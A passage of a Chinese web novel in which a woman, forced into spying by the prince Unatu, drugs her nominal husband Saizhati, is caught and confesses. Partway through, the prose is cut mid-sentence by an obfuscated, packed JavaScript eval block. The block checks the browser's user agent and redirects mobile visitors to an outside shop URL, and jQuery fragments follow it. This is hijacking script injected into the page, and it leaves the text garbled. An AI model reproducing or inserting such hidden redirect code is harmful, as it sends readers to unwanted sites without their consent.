赛扎提看了眼坐在外面打盹儿的娘子,默默抱起凉棚支在外面,竹竿摩擦棚顶带着吱呀声,王元君撑起眼皮,眼睛半睁半合,散漫无神。
赛扎提见她醒来,嘴角荡起不掺半分客套的笑,“你醒啦?我见日头太大给你支个棚子乘凉。”
“嗯。”王元君敷衍道。
“不如进屋睡吧,坐着睡不舒坦。”赛扎提从梯子上爬下来,两只手憨厚老实地握在一起还有几分腼腆。
王元君虚掩唇角打了个哈欠,眼角挂着眸雾化成的水珠,本想拒绝但身子骨实在慵懒,“行吧,我去里屋小憩一会儿,你守着。”
“里屋我收拾好了,安心睡。”
王元君没搭理他,径自去了里屋。
屋中阴阳分割,阴凉气倒叫她舒心。铜镜上映着人影歪头抚摸自己的倭堕髻偏斜下垂的头发,木梳有一下没一下地梳着发尾,摸下头钗扭身瘫在床上。
‘累’这个字充实地布满身子,连手指都不愿动。王元君微垂眼眸,出神地看着屋顶,不知不觉竟真睡着了。
祝穆真跑进她的房,包裹里装了她的首饰和府里的钱财,告诉她洪水来了。
王元君踩着碎步抓住他,问:“真的吗?”
她心慌,祝穆真带着她跑出来的路上王元君一直很慌。她只听说过洪水却从来没真见过。
雨水混着泪弄花了妆,祝穆真真切的温度紧攥着她,怕王元君走失。
“爷,我害怕……”
“爷在,不用怕。”祝穆真没有回头,一个劲儿朝着前面跑。
“我们会死吗?”
“不会!”祝穆真终于回头看王元君,脚步逐渐停下,“我们都会活下去,永远!”
许是祝穆真的肯定,王元君突然有了活下去的希望,提起罗裙不顾狂风暴雨跟着祝穆真跑。
她不知道前路如何,但她相信祝穆真。在他来找她的时候,王元君就该相信他。他们跑出了虞州城才敢停下。
王元君抱着祝穆真哭,不知是冷还是害怕,祝穆真感受到依偎在怀里的人在发抖,王元君的皮肤如玉般微凉,祝穆真只道她是害怕。
“先不哭,咱们找个安身的地方,到时候我陪着你把害怕都哭出来。”
王元君抬起头,望着带自己逃生的男人,现在她只信祝穆真一人。
虞州城外的官道上筑落着一家客栈,那里离城门较远,暂时不会有危险。
祝穆真为她要了热水后就出去了,她一个人坐在温暖的水里,热泪再一次控制不住地落下。
祝穆真坐在楼下拖去滴水的外衣,王元君沐浴完也换了干净的衣衫,跑过去抱住祝穆真的腰,“爷……”
那声‘爷’带着撒娇又透着委屈,祝穆真的心都要化了,“没事,我们活下来了。”
王元君道:“嗯,我们活下来了,我再也不要离开爷了。”
梦境一转,到了祝穆真要离开的那天。
“公主下令拿我,我不能不去。”
“我们一走了之,公主就找不到了,爷你别走。”
“我回去了你才能继续活。”
王元君哭着求他,然而祝穆真意已决。
“我跟你一起回去,妾虽怕但有爷在就不怕了。”
这是她内心深处死里逃生的信任。说心里话,祝穆真待她不薄,她不想舍弃祝穆真。
在王元君的哭声中,祝穆真答应带她一起回去。
祝穆真道:“你去楼下装些干粮,我收拾完行李去找你。”
“好。”
门口离她只差一步,王元君却感受到脖子从后面被人捏住了,失去意识前隐约听到一句:“傻丫头,替我好好活,再重新找个好人家吧。”
“爷––”
那个男人变成了赛扎提,她向来听爷的话,所以她跟了赛扎提来到京师做生意。
赛扎提是蒙越人,对王元君很珍惜。她知赛扎提是好人,但她却成了坏女人。
梦里的王元君似乎感应到了是梦,身子像被一点点剥离梦境,直到眼前人消失不见。
……
王元君醒了,抬手抹了把脸,泪水早已打湿了枕头。
是梦,为何如此真切?
王元君趴在枕头上哭,用被角捂住嘴把声音压得很低。
今日生意不佳,赛扎提便想去看看王元君,却听到里面人压抑的哭声。
他掀起门帘冲进去,想安慰又笨拙地无从下手,“梦魇了?”
王元君的哭声突然止住,缓缓抬头露出那张布满泪水的脸,“嗯……”
她看出他的笨拙,主动扑到赛扎提怀里,“我害怕,你别走。”
“梦都是反的,娘子莫怕。”赛扎提拍了拍她的背,试图安抚下她的情绪。
“爷,我害怕……”
赛扎提以为是叫他,连忙哄她。王元君哭了一会儿,脱离赛扎提的怀抱。
赛扎提一愣,王元君低头解释道:“我哭花了妆,丑。”
“娘子不丑。”赛扎提笑道。
“我重新梳妆,你去照顾外面的生意吧。”王元君推着他出去。
见他重新坐到门外,王元君呆坐在铜镜前。她爱美,赛扎提就在铺子里重新给她准备了一套妆奁,跟家里那套一模一样。
她瞅着镜中的自己,与那日逃出后也一模一样。
胭脂覆上泪痕,她当真是漂亮。
王元君重新上好妆,站在赛扎提的身后,“今晚我们早些吃饭吧,一会儿我去买。”
“你想吃什么?我去买就好。”
“不,我去吧。”王元君坚持道,“来京师的这几天总是你在忙,今晚我替你分忧。”
“那我先谢过娘子了。”
“不谢。”
等过了今晚,王元君该向他道声谢了。王元君想着。
风停了,日薄西山,天末流霞。
刚出锅的馄饨腾着热气,赛扎提笑着接过馄饨,怜惜地查看王元君的手是否烫到。
王元君收回手,勺子卷起那圈热气,“吃饭吧。”
自王元君跟赛扎提来京师,向来是冷淡不爱笑,今日的王元君亦然,但赛扎提依旧很开心。
他吹着凉气,王元君却没有动,赛扎提道:“怎么不吃?是不舒服吗?”
“无事,可能梦里的景象太真实,导致胃口不佳。”
“不如吃完我带你去看郎中,再买些安身香,今夜睡个好觉。”
王元君摇头,“没用的,再好的郎中和香料都没有用,我的后半辈子怕是如此了。”
赛扎提嗔怪道:“说什么傻话,你会长命百岁,未来都会好的。”
“借你吉言。”
赛扎提道:“我知你性情慢热,但今天你愿意跟我说这么多,我心里甚是欢喜,我也希望你能够欢喜。”
欢喜吗?王元君暗想,欢喜的日子过得太快了。
王元君道:“会的,你快吃吧,吃完还要继续营生。”
王元君那碗馄饨一口没吃,她看着赛扎提吃完馄饨,暗自松了一口气。
不过多时赛扎提说头晕,王元君扶他去床榻休息,待药性上来,赛扎提说着劲儿睡了过去。
王
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576799|203740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
元君的呼吸变沉,从抽屉掏出银针,乌纳图告诉她只要刺入风府穴就会让他丧命。
拿针的手止不住抖,一颗泪挂在眼睫。她没有要杀赛扎提的心思,可是如果王元君不这么做她自己就完没命了。
王元君后悔遇到赛扎提了。他什么都不知道反被自己利用。
抉择两难之际,一颗石子击中了王元君的手腕,疼痛感蔓及,针从手间脱落。
堇歌越入窗棂,单手擒住王元君,对朔尘道:“你与我一并将二人带回去。”
赛扎提躺在衙署的一间屋子,紫苏拿着药方去煎药。王元君瘫坐在衙署的地上。
“王元君,你与何人私下通信?”
王元君无力地看向玉昭,移开目光,“没有人。”
“没有人?本宫的人亲眼所见。”
“那日信鸽飞出,再飞回时是落在你与赛扎提的铺子里。”朔尘道。
王元君道:“一只寻常鸽子罢了,干嘛揪着我不放。”
堇歌将搜到的人皮面具丢在王元君脚边,“鸽子是巧合,那这个呢?”
王元君一哆嗦,要知道那副面具是剥了人的脸皮制成的,她亲手触摸过,那触感很真实,“我不知道!”
她捂住嘴,喃道:“为什么抛下我?为什么抛下我不管?”眼前氤氲一片,她站起身与玉昭对视,“你觉得我是内奸对吗?”
“我就是啊。”王元君环顾在场的所有人,低笑声细碎,似柔似诡,“我跋山涉水去到虞州就是为了过安生日子,为什么不让我如愿?”
她跌在地上,“那不是梦……”
她如梦一样,跟着祝穆真逃出虞州,又如梦一样听到了他的死讯。
祝穆真捏了王元君的后颈软穴,等她醒来时祝穆真已经不在了。
王元君按照他说的,拿上他们带出来的所有钱财跑,但王元君跑到一半突然傻了,她不知道该去哪里。
她没有家,现在唯一的家人也没了。
夜里王元君躲在废弃的庙宇,忽而外面有马蹄声,她悠悠转醒,眼前竟是蒙越的王子––乌纳图悄摸带人潜入了肃雍。
王元君以为自己要完了的时候,乌纳图强迫她吃下了药。那是枚毒药,每个月月末发作,如果没有解药就会生不如死。
她为了活命,懦弱地答应了帮他打探消息并派人时刻监视她。
赛扎提并不知情,是王元君主动找的他,因为乌纳图说要找人替王元君掩饰,所以她成了赛扎提名义上的娘子。
她戴过人皮面具,那张面皮一开始在滴血,王元君做了好几天噩梦。幸好赛扎提在她身边,不然她不敢想要怎么度过那些时日。
面皮带在脸上仿佛受了另一个人的禁锢。
王元君在蒲阙的指挥下带上面具,伪装成面具店女店主骗过了裴锦抒。她本来以为会恨裴锦抒和玉昭,但裴锦抒踏进去的那一刻,王元君发现她错了。她想让裴锦抒发现自己,然后把她救出来。
“所以脂粉香是你故意涂的?”
“先让他知道是罗宝轩的胭脂,我再出现在他面前,不就是给了我机会?”
“人皮面具真真皮所制。”玉昭道,“那名女子的尸身在何处?”
“铺子附近一个荒废的巷子里……”
“王元君,你离那女子那么近,不怕吗?”
“怕又能改变什么?能改变我变成内奸的事实吗?!”王元君目眦欲裂,“我每天都在想我什么时候可以逃脱,像祝穆真当时带我走一样!”
她道:“没有人,再没有了!那不是梦,是我回不到的过去……”